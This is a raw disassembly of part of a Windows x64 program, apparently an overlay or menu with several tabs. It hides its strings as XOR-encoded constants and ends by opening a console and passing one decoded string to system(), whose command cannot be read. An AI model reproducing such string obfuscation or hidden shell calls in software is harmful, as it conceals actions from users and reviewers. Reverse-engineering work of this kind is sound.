movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
lea rcx, [0x1403a2370]
mov rsi, rax
call fcn.14007a240
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1520]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f56c]
mov ebx, eax
movss xmm1, dword [0x14016f600]
lea rcx, [rbp + 0x588]
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov edx, 0xaa
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1530]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f584]
lea rcx, [rbp + 0x590]
movss xmm1, dword [0x14016f5b4]
mov ebx, eax
call fcn.140001d60
xor esi, esi
lea rcx, [0x14016a0c8]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov rdx, r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
movabs rdx, 0x729e6a1287b9b5be
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb925cdcb8db8d828
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1540], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1548], rcx
lea rcx, [rbp + 0x1560]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1550], rax
mov qword [rbp + 0x10], rdx
mov edx, 0xaa
mov rax, qword [rbp + 0x10]
mov r9d, edx
movdqa xmm0, xmmword [rbp + 0x1540]
mov r8d, edx
mov qword [rbp + 0x1558], rax
xorps xmm0, xmmword [rbp + 0x1550]
movdqa xmmword [rbp + 0x1540], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f584]
lea rcx, [rbp + 0x598]
movss xmm1, dword [0x14016f5c8]
mov ebx, eax
call fcn.140001d60
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x1540]
mov qword [rsp + 0x28], rcx
mov r9, rax
mov rcx, rdi
mov dword [rsp + 0x20], ebx
movaps xmm2, xmm7
call fcn.140024630
call fcn.140013290
lea rcx, [0x1403a2328]
mov rsi, rax
call fcn.14007a240
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1570]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f584]
lea rcx, [rbp + 0x5a0]
movss xmm1, dword [0x14016f5e0]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov edx, 0xaa
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1580]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f5a0]
lea rcx, [rbp + 0x5a8]
movss xmm1, dword [0x14016f5b4]
mov ebx, eax
call fcn.140001d60
xor esi, esi
lea rcx, [0x14016a0cc]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov rdx, r14
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
movabs rdx, 0x729e6a1287b9b5be
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb925cdf1dc88f021
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1590], rcx
mov qword [rbp + 0x10], rdx
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1598], rcx
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x15a0], rax
lea rcx, [rbp + 0x15b0]
mov qword [rbp + 0x10], rdx
mov edx, 0xaa
mov rax, qword [rbp + 0x10]
mov r9d, edx
mov qword [rbp + 0x15a8], rax
mov r8d, edx
movdqa xmm0, xmmword [rbp + 0x15a0]
xorps xmm0, xmmword [rbp + 0x1590]
movdqa xmmword [rbp + 0x1590], xmm0
mov dword [rsp + 0x20], 0xff
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f5a0]
lea rcx, [rbp + 0x5b0]
movss xmm1, dword [0x14016f5c8]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x1590]
mov qword [rsp + 0x40], rsi
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
lea rcx, [0x1403a26b8]
mov rsi, rax
call fcn.14007a240
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x15c0]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f5a0]
lea rcx, [rbp + 0x5b8]
movss xmm1, dword [0x14016f5e0]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm7
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
cmp dword [0x1403a2288], 6
jne 0x140053f6a
call fcn.140013290
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x15d0]
mov r8d, edx
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f640]
lea rcx, [rbp + 0x5c0]
movss xmm1, dword [0x14016f544]
mov edi, eax
call fcn.140001d60
movaps xmm2, xmm14
lea rcx, [rbp + 0x5c8]
movaps xmm1, xmm14
mov rbx, rax
call fcn.140001d60
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140024370
movss xmm0, dword [0x14016f50c]
lea rcx, [rbp + 0x5d0]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
call fcn.1400172a0
mov rcx, r14
call fcn.140012cb0
movaps xmm2, xmm15
lea rcx, [rbp + 0x5d8]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 3
lea rdx, [0x14016a064]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x1400537a0
mov dword [0x1403a2288], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x5e0]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 4
lea rdx, [0x14016a068]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x1400537db
mov dword [0x1403a2288], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x5e8]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 5
lea rdx, [0x14016a06c]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140053816
mov dword [0x1403a2288], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x5f0]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 6
lea rdx, [0x14016a070]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140053851
mov dword [0x1403a2288], 6
movaps xmm2, xmm15
lea rcx, [rbp + 0x5f8]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 7
lea rdx, [0x14016a074]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x14005388c
mov dword [0x1403a2288], 7
call fcn.140012d50
call fcn.140017400
mov rcx, qword [0x1403a2260]
call fcn.140012cb0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x15e0]
mov r8d, edx
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14016f468]
lea rcx, [0x1403a28a8]
mov esi, eax
call fcn.140004fe0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x15f0]
mov r8d, edx
mov edi, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f66c]
lea rcx, [rbp + 0x600]
movss xmm1, dword [0x14016f554]
mov ebx, eax
call fcn.140001d60
movabs rcx, 0xdaf40e281c80c3c8
mov r9d, edi
mov r8d, ebx
movss xmm2, dword [rax]
movss xmm3, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x9976ed8997aeb936
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24c0], rax
movabs rax, 0x52ce4a5ba7eb95fd
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24c8], rax
movabs rax, 0xd148d65e7a8a3363
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24d0], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24d8], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24e0], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24e8], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x24f0], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x24c0]
mov rax, qword [rbp + 0x10]
unpcklps xmm2, xmm3
mov qword [rbp + 0x24f8], rax
movq rdx, xmm2
vmovdqu ymm0, ymmword [rbp + 0x24e0]
vpxor ymm1, ymm0, ymmword [rbp + 0x24c0]
vmovss xmm0, dword [0x14016f410]
vmovss dword [rsp + 0x28], xmm0
mov dword [rsp + 0x20], esi
vmovdqa ymmword [rbp + 0x24c0], ymm1
vzeroupper
call fcn.140033100
call fcn.140012d50
call fcn.1400172a0
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xaa
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xdc57a9aff6dbc92c
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a128783c6cd
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1600], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1608], rcx
lea rcx, [rbp + 0x1620]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1610], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1618], rax
movdqa xmm0, xmmword [rbp + 0x1610]
xorps xmm0, xmmword [rbp + 0x1600]
movdqa xmmword [rbp + 0x1600], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f528]
lea rcx, [rbp + 0x608]
movss xmm1, dword [0x14016f554]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x1600]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
lea rcx, [0x1403a2560]
mov rsi, rax
call fcn.14007a240
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1630]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f528]
lea rcx, [rbp + 0x610]
movss xmm1, dword [0x14016f59c]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xaa
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xdc57acbcd389f82d
mov qword [rbp + 0x10], rax
movabs rax, 0x14f71e7ce2ddfc9e
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2500], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xeb6899782ea2705e
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x2508], rcx
movabs rcx, 0xdaf40e281c80c3c8
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2510], rax
mov qword [rbp + 0x10], rcx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2518], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2520], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2528], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2530], rax
mov qword [rbp + 0x10], rcx
lea rcx, [rbp + 0x1640]
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x2538], rax
vmovdqu ymm0, ymmword [rbp + 0x2520]
vpxor ymm1, ymm0, ymmword [rbp + 0x2500]
vmovdqa ymmword [rbp + 0x2500], ymm1
vzeroupper
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f538]
lea rcx, [rbp + 0x618]
movss xmm1, dword [0x14016f554]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
lea rcx, [rbp + 0x2500]
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
lea rcx, [0x1403a2580]
mov rsi, rax
call fcn.14007a240
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1650]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f538]
mov ebx, eax
movss xmm1, dword [0x14016f5dc]
lea rcx, [rbp + 0x620]
call fcn.140001d60
mov rdx, qword [0x1403a2268]
xor ecx, ecx
mov qword [rsp + 0x40], rcx
mov r9, rax
movss dword [rsp + 0x38], xmm14
movaps xmm2, xmm6
mov qword [rsp + 0x30], rcx
mov rcx, rsi
mov qword [rsp + 0x28], rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xaa
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0x8340bea5d298f029
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a1287b9b59e
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1660], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1668], rcx
lea rcx, [rbp + 0x1680]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1670], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1678], rax
movdqa xmm0, xmmword [rbp + 0x1670]
xorps xmm0, xmmword [rbp + 0x1660]
movdqa xmmword [rbp + 0x1660], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f548]
lea rcx, [rbp + 0x628]
movss xmm1, dword [0x14016f554]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x1660]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm6
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
call fcn.140013290
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x1690]
mov r8d, edx
mov rdi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f548]
lea rcx, [rbp + 0x630]
movss xmm1, dword [0x14016f588]
mov ebx, eax
call fcn.140001d60
mov qword [rsp + 0x40], rsi
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov rdx, qword [0x1403a2268]
lea rcx, [0x1403a2770]
mov qword [rsp + 0x28], rcx
mov r9, rax
mov rcx, rdi
mov dword [rsp + 0x20], ebx
movaps xmm2, xmm6
call fcn.140024630
call fcn.140017400
cmp dword [0x1403a2288], 7
jne 0x14005496f
mov rcx, qword [0x1403a2260]
call fcn.140012cb0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x16a0]
mov r8d, edx
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14016f468]
lea rcx, [0x1403a28a8]
mov esi, eax
call fcn.140004fe0
mov edx, 0xff
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x16b0]
mov r8d, edx
mov edi, eax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm1, dword [0x14016f5cc]
lea rcx, [rbp + 0x638]
movaps xmm2, xmm15
mov ebx, eax
call fcn.140001d60
mov r9d, edi
lea rcx, [rbp + 0x16c0]
mov r8d, ebx
movss xmm1, dword [rax]
movss xmm2, dword [rax + 4]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0x9971ed9f97beb936
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16c0], rax
movabs rax, 0x72cd4a55a7f795f7
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16c8], rax
movabs rax, 0xb925cdcbb7fb9965
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16d0], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x16d8], rax
movdqa xmm0, xmmword [rbp + 0x16d0]
xorps xmm0, xmmword [rbp + 0x16c0]
movdqa xmmword [rbp + 0x16c0], xmm0
movss xmm0, dword [0x14016f410]
unpcklps xmm1, xmm2
movss dword [rsp + 0x28], xmm0
movq rdx, xmm1
mov dword [rsp + 0x20], esi
call fcn.140033100
call fcn.140012d50
call fcn.140013290
mov edx, reloc.WS2_32.dll_recv
mov dword [rsp + 0x20], 0xff
mov r9d, edx
lea rcx, [rbp + 0x16e0]
mov r8d, edx
mov rsi, rax
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f640]
lea rcx, [rbp + 0x640]
movss xmm1, dword [0x14016f544]
mov edi, eax
call fcn.140001d60
mov rbx, rax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rbp + 0x648]
call fcn.140001d60
mov r9d, edi
mov dword [rsp + 0x28], 0
mov r8, rbx
movss dword [rsp + 0x20], xmm14
mov rdx, rax
mov rcx, rsi
call fcn.140024370
movss xmm0, dword [0x14016f50c]
lea rcx, [rbp + 0x650]
movaps xmm2, xmm0
movaps xmm1, xmm0
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
call fcn.1400172a0
mov rcx, r14
call fcn.140012cb0
movaps xmm2, xmm15
lea rcx, [rbp + 0x658]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 3
lea rdx, [0x14016a064]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x1400541b1
mov dword [0x1403a2288], 3
movaps xmm2, xmm15
lea rcx, [rbp + 0x660]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 4
lea rdx, [0x14016a068]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x1400541ec
mov dword [0x1403a2288], 4
movaps xmm2, xmm15
lea rcx, [rbp + 0x668]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 5
lea rdx, [0x14016a06c]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140054227
mov dword [0x1403a2288], 5
movaps xmm2, xmm15
lea rcx, [rbp + 0x670]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 6
lea rdx, [0x14016a070]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x140054262
mov dword [0x1403a2288], 6
movaps xmm2, xmm15
lea rcx, [rbp + 0x678]
movaps xmm1, xmm15
call fcn.140001d60
cmp dword [0x1403a2288], 7
lea rdx, [0x14016a074]
mov r8, rax
sete cl
call fcn.1400337f0
test al, al
je 0x14005429d
mov dword [0x1403a2288], 7
call fcn.140012d50
call fcn.140017400
call fcn.140013290
mov rdi, rax
mov dword [rsp + 0x20], 0xff
xor eax, eax
mov edx, 0xff
mov byte [rbp], al
mov r9d, edx
mov byte [rbp], al
mov r8d, edx
mov byte [rbp], al
movabs rax, 0xeb05a0aec388e036
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a60eed8c5db
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x16f0], rcx
mov qword [rbp + 0x10], rax
movabs rax, 0xb925cdcbb7fb9965
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x16f8], rcx
lea rcx, [rbp + 0x1710]
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1700], rax
movabs rax, 0x729e6a1287b9b5be
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1708], rax
movdqa xmm0, xmmword [rbp + 0x1700]
xorps xmm0, xmmword [rbp + 0x16f0]
movdqa xmmword [rbp + 0x16f0], xmm0
call fcn.140030420
mov rcx, rax
call fcn.140030470
movss xmm2, dword [0x14016f528]
lea rcx, [rbp + 0x680]
movss xmm1, dword [0x14016f554]
mov ebx, eax
call fcn.140001d60
mov rdx, qword [0x1403a2268]
lea rcx, [rbp + 0x16f0]
xor esi, esi
mov r9, rax
mov qword [rsp + 0x40], rsi
movaps xmm2, xmm7
movss dword [rsp + 0x38], xmm14
mov qword [rsp + 0x30], rsi
mov qword [rsp + 0x28], rcx
mov rcx, rdi
mov dword [rsp + 0x20], ebx
call fcn.140024630
movss xmm2, dword [0x14016f538]
lea rcx, [rbp + 0x688]
movss xmm1, dword [0x14016f554]
call fcn.140001d60
mov rcx, rax
call fcn.140016fb0
movaps xmm2, xmm14
lea rcx, [rbp + 0x690]
movaps xmm1, xmm14
call fcn.140001d60
mov rdx, rax
movabs rdi, 0xb925cdcbb7fb9965
xor eax, eax
movabs rbx, 0x729e6a1287b9b5be
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xea05bfa2d68bfc37
mov qword [rbp + 0x10], rax
movabs rax, 0x729e6a7fe2cdc6c7
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1720], rcx
mov qword [rbp + 0x10], rax
mov rcx, qword [rbp + 0x10]
mov qword [rbp + 0x1728], rcx
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1730], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
lea rcx, [rbp + 0x1720]
mov qword [rbp + 0x1738], rax
movdqa xmm0, xmmword [rbp + 0x1730]
xorps xmm0, xmmword [rbp + 0x1720]
movdqa xmmword [rbp + 0x1720], xmm0
call fcn.140031ab0
test al, al
je 0x1400546ec
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor eax, eax
lea rcx, [rbp + 0x1740]
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xd846bee49798ff16
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1740], rax
movabs rax, 0x729e6a12f0d6dbd0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1748], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1750], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1758], rax
movdqa xmm0, xmmword [rbp + 0x1750]
xorps xmm0, xmmword [rbp + 0x1740]
movdqa xmmword [rbp + 0x1740], xmm0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor eax, eax
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xb925cd9fe5bed524
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1760], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1768], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x1770], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
movdqa xmm0, xmmword [rbp + 0x1760]
mov qword [rbp + 0x1778], rax
xor eax, eax
xorps xmm0, xmmword [rbp + 0x1770]
mov byte [rbp], al
mov byte [rbp], al
mov byte [rbp], al
movabs rax, 0xea05a0aec388e036
movdqa xmmword [rbp + 0x1760], xmm0
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3d60], rax
movabs rax, 0x1bf00354a7d7d4dd
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3d68], rax
movabs rax, 0xbd56fc3f3ea67b44
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3d70], rax
movabs rax, 0xa9915c0879f3a2ad
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3d78], rax
movabs rax, 0xb9ea883f8e11f42d
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3d80], rax
movabs rax, 0xe0b23726e7c54946
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3d88], rax
mov qword [rbp + 0x10], rdi
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3200], rax
mov qword [rbp + 0x10], rbx
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3208], rax
movabs rax, 0xd106f6115ac31337
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3210], rax
lea r8, [rbp + 0x1760]
movabs rax, 0xdaf40e281c80c3c8
lea rdx, [rbp + 0x3d60]
mov qword [rbp + 0x10], rax
mov r9d, 0x40
mov rax, qword [rbp + 0x10]
xor ecx, ecx
mov qword [rbp + 0x3218], rax
movabs rax, 0xca93db1ffa639559
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov qword [rbp + 0x3220], rax
movabs rax, 0xe0b23726c9a82c32
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
movdqa xmm2, xmmword [rbp + 0x3d80]
vmovdqu ymm0, ymmword [rbp + 0x3200]
vpxor ymm1, ymm0, ymmword [rbp + 0x3d60]
